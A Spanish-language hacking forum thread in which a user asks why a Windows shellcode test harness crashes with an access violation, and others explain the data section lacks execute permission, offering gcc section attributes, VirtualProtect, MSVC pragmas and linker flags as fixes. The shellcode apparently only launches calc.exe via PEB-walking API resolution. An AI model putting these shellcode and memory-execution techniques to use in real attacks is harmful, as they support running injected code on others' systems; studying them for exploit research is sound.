elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  me da un access violation al entrar en la shellcode.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: me da un access violation al entrar en la shellcode.  (Leído 5,054 veces)
black_flowers

Desconectado Desconectado

Mensajes: 65


Ver Perfil
me da un access violation al entrar en la shellcode.
« en: 24 Marzo 2011, 15:45 pm »

tengo un codigo asm que funciona perfectamente y que he pasado a shellcode. Pero al intentarlo ejecutar como shellcode medá un access violation. La shellcode no contienenulos y como ya he dicho, ejecutada por si misma funciona perfectamente.

alguna idea de porqué puede pasar esto?

este es el programa: (y access violation lo he comprobado con olly y es justo al entrar en los opcodes de la shellcode).

Citar
#include <stdio.h>
#include <string.h>
//#include <stdafx.h>
#include <windows.h>

char code[] = "\x33\xDB\x64\x8B\x5B\x30\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x1B\x8B\x5B\x08\x8B\xC3\x50\x8B\x34\x24\x03\x76\x3C\x8B\x56\x78\x03"
"\x14\x24\x8B\xCA\x83\xC1\x1F\x41\x8B\x19\x03\x1C\x24\x33\xC0\x8B\x3B\x03\x3C\x24\x81\x3F\x47\x65\x74\x50\x75\x1A\x81\x7F\x04\x72"
"\x6F\x63\x41\x75\x11\x81\x7F\x08\x64\x64\x72\x65\x75\x08\x66\x81\x7F\x0C\x73\x73\x74\x0A\x90\x83\xC3\x04\x40\x3B\x42\x18\x75\xCF"
"\x8B\x72\x24\x03\x34\x24\x33\xC9\x66\x8B\x0C\x46\x8B\x7A\x1C\x03\x3C\x24\x8B\x04\x8F\x03\x04\x24\x8B\x34\x24\x32\xD2\x83\xEC\x0B"
"\xC6\x45\xF8\x57\xC6\x45\xF9\x69\xC6\x45\xFA\x6E\xC6\x45\xFB\x45\xC6\x45\xFC\x78\xC6\x45\xFD\x65\xC6\x45\xFE\x63\x88\x55\xFF\x8D"
"\x4D\xF8\x51\x56\x8B\xD8\xFF\xD0\x32\xD2\x83\xEC\x11\xC6\x45\xF7\x63\xC6\x45\xF8\x61\xC6\x45\xF9\x6C\xC6\x45\xFA\x63\xC6\x45\xFB"
"\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x88\x55\xFF\x8D\x4D\xF7\x6A\x05\x51\xFF\xD0\x32\xD2\x83\xEC\x20\xC6\x45\xEE"
"\x45\xC6\x45\xEF\x78\xC6\x45\xF0\x69\xC6\x45\xF1\x74\xC6\x45\xF2\x50\xC6\x45\xF3\x72\xC6\x45\xF4\x6F\xC6\x45\xF5\x63\xC6\x45\xF6"
"\x65\xC6\x45\xF7\x73\xC6\x45\xF8\x73\x88\x55\xF9\x8D\x4D\xEE\x51\x56\xFF\xD3\x33\xC9\x51\xFF\xD0";

typedef void (*pfnc_initDevice)(void);

int main()
{
pfnc_initDevice pfnc=(pfnc_initDevice)&code[0];
pfnc();
return 0;
}
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: me da un access violation al entrar en la shellcode.
« Respuesta #1 en: 24 Marzo 2011, 18:09 pm »

Al ensamblar la shellcode ensambla en modo elf (vamos, compila un ejecutable) y ejecuta, a ver si funciona.
Por ejemplo, al ensamblar en Linux ensambla así:
Código:
$ nasm -f elf -o shellcode.o shellcode.s
$ ld -m elf_i386 -o shellcode shellcode.o
$

Un saludo!
PD: Más datos!
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: me da un access violation al entrar en la shellcode.
« Respuesta #2 en: 24 Marzo 2011, 18:48 pm »

mmm creo que esta trabajando en windows, digo por el header windows.h :P.

Para mi que el problema es q no tiene permisos de ejecucion en la sección de datos, por eso cuando salta para ejecutar en char code le tira el access violation. Si es eso trata de meter char code en la sección ejecutable, fijate que te dice el compilador si declaras code asi:

Código
  1. char code[] __attribute__((section (".text"))) = ...

En linux con gcc funciona pero no se en windows.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
black_flowers

Desconectado Desconectado

Mensajes: 65


Ver Perfil
Re: me da un access violation al entrar en la shellcode.
« Respuesta #3 en: 24 Marzo 2011, 20:48 pm »

mmm creo que esta trabajando en windows, digo por el header windows.h :P.

Para mi que el problema es q no tiene permisos de ejecucion en la sección de datos, por eso cuando salta para ejecutar en char code le tira el access violation. Si es eso trata de meter char code en la sección ejecutable, fijate que te dice el compilador si declaras code asi:

Código
  1. char code[] __attribute__((section (".text"))) = ...

En linux con gcc funciona pero no se en windows.

sí, es en windows y he probado con gcc y funciona  :D
en cambio con visual c++ no , >:(, me da un montón de errores de compilación. En cualquier caso el problemaes el que tu dices de los permisos, así que será cuestión de buscar la instrucción equivalente en visual c++.

A todo esto la shellcode no haceotra cosa que lanzar la calculadora de windows y debería de funcionar en cualquier sistema.

Un saludo.
En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.082


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: me da un access violation al entrar en la shellcode.
« Respuesta #4 en: 24 Marzo 2011, 21:14 pm »

Dale permisos de ejecución con VirtualProtect a ver si así funciona, si funciona luego puedes compilar de forma que te lo meta todo en la sección .text.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
black_flowers

Desconectado Desconectado

Mensajes: 65


Ver Perfil
Re: me da un access violation al entrar en la shellcode.
« Respuesta #5 en: 25 Marzo 2011, 23:39 pm »

este es el equivalente para visual c++:

Código:
#pragma section("mycode",execute)
__declspec(allocate("mycode"))char code[] = "\x33\xDB...sigue la shellcode";
En línea

Иōҳ


Desconectado Desconectado

Mensajes: 563


Ver Perfil
Re: me da un access violation al entrar en la shellcode.
« Respuesta #6 en: 26 Marzo 2011, 05:55 am »

Dale permisos de ejecución con VirtualProtect a ver si así funciona, si funciona luego puedes compilar de forma que te lo meta todo en la sección .text.

Saludos

en la hora del linkeo le tienes que dar permisos a la sección .text

/SECTION:.text,REW

yo uso radasm y como no se puede usar la "," se usa "|"

aqui te lo dejo si te sirve:

5,O,$B\LINK.EXE /SECTION:.text|REW /SUBSYSTEM:WINDOWS /RELEASE /VERSION:4.0 /LIBPATH:"$L" /OUT:"$5",3

Salu2!
En línea

Eres adicto a la Ing. Inversa? -> www.noxsoft.net
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: me da un access violation al entrar en la shellcode.
« Respuesta #7 en: 26 Marzo 2011, 11:10 am »

Vaya, Iván, no me había dado cuenta :P ¿Y si probases así? Es más sencillo y creo que funciona para todo ;)
Código
  1. char code[] = "\x33\xDB\x64\x8B\x5B\x30\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x1B\x8B\x5B\x08\x8B\xC3\x50\x8B\x34\x24\x03\x76\x3C\x8B\x56\x78\x03"
  2. "\x14\x24\x8B\xCA\x83\xC1\x1F\x41\x8B\x19\x03\x1C\x24\x33\xC0\x8B\x3B\x03\x3C\x24\x81\x3F\x47\x65\x74\x50\x75\x1A\x81\x7F\x04\x72"
  3. "\x6F\x63\x41\x75\x11\x81\x7F\x08\x64\x64\x72\x65\x75\x08\x66\x81\x7F\x0C\x73\x73\x74\x0A\x90\x83\xC3\x04\x40\x3B\x42\x18\x75\xCF"
  4. "\x8B\x72\x24\x03\x34\x24\x33\xC9\x66\x8B\x0C\x46\x8B\x7A\x1C\x03\x3C\x24\x8B\x04\x8F\x03\x04\x24\x8B\x34\x24\x32\xD2\x83\xEC\x0B"
  5. "\xC6\x45\xF8\x57\xC6\x45\xF9\x69\xC6\x45\xFA\x6E\xC6\x45\xFB\x45\xC6\x45\xFC\x78\xC6\x45\xFD\x65\xC6\x45\xFE\x63\x88\x55\xFF\x8D"
  6. "\x4D\xF8\x51\x56\x8B\xD8\xFF\xD0\x32\xD2\x83\xEC\x11\xC6\x45\xF7\x63\xC6\x45\xF8\x61\xC6\x45\xF9\x6C\xC6\x45\xFA\x63\xC6\x45\xFB"
  7. "\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x88\x55\xFF\x8D\x4D\xF7\x6A\x05\x51\xFF\xD0\x32\xD2\x83\xEC\x20\xC6\x45\xEE"
  8. "\x45\xC6\x45\xEF\x78\xC6\x45\xF0\x69\xC6\x45\xF1\x74\xC6\x45\xF2\x50\xC6\x45\xF3\x72\xC6\x45\xF4\x6F\xC6\x45\xF5\x63\xC6\x45\xF6"
  9. "\x65\xC6\x45\xF7\x73\xC6\x45\xF8\x73\x88\x55\xF9\x8D\x4D\xEE\x51\x56\xFF\xD3\x33\xC9\x51\xFF\xD0";
  10.  
  11. int main(int argc, char **argv)
  12. {
  13. (*(void(*)()) code)();
  14. return 0;
  15. }
  16.  
Otro problema podría ser que la shellcode esté mal pasada a hexadecimal ;)

Un saludo!
Sagrini
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Empire Earth II: ACCESS VIOLATION?
Juegos y Consolas
Golden 1 5,218 Último mensaje 29 Mayo 2005, 12:19 pm
por ¤ Nerviozzo ¤
Sharing Violation
Scripting
Fabiang 2 3,192 Último mensaje 16 Julio 2010, 20:32 pm
por Fabiang
Delphi Access violation when reading [00000000]
Bugs y Exploits
oPen syLar 0 2,384 Último mensaje 6 Noviembre 2011, 22:59 pm
por oPen syLar
Excepcion no controlada en 0xcdcdcdcd en xxxxxxx.exe:0xC0000005:Access violation
Programación C/C++
ftejada 6 3,840 Último mensaje 20 Abril 2014, 14:47 pm
por ftejada
Help !! Access violation
Ingeniería Inversa
K0rK 1 2,300 Último mensaje 6 Junio 2020, 03:51 am
por MCKSys Argentina
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines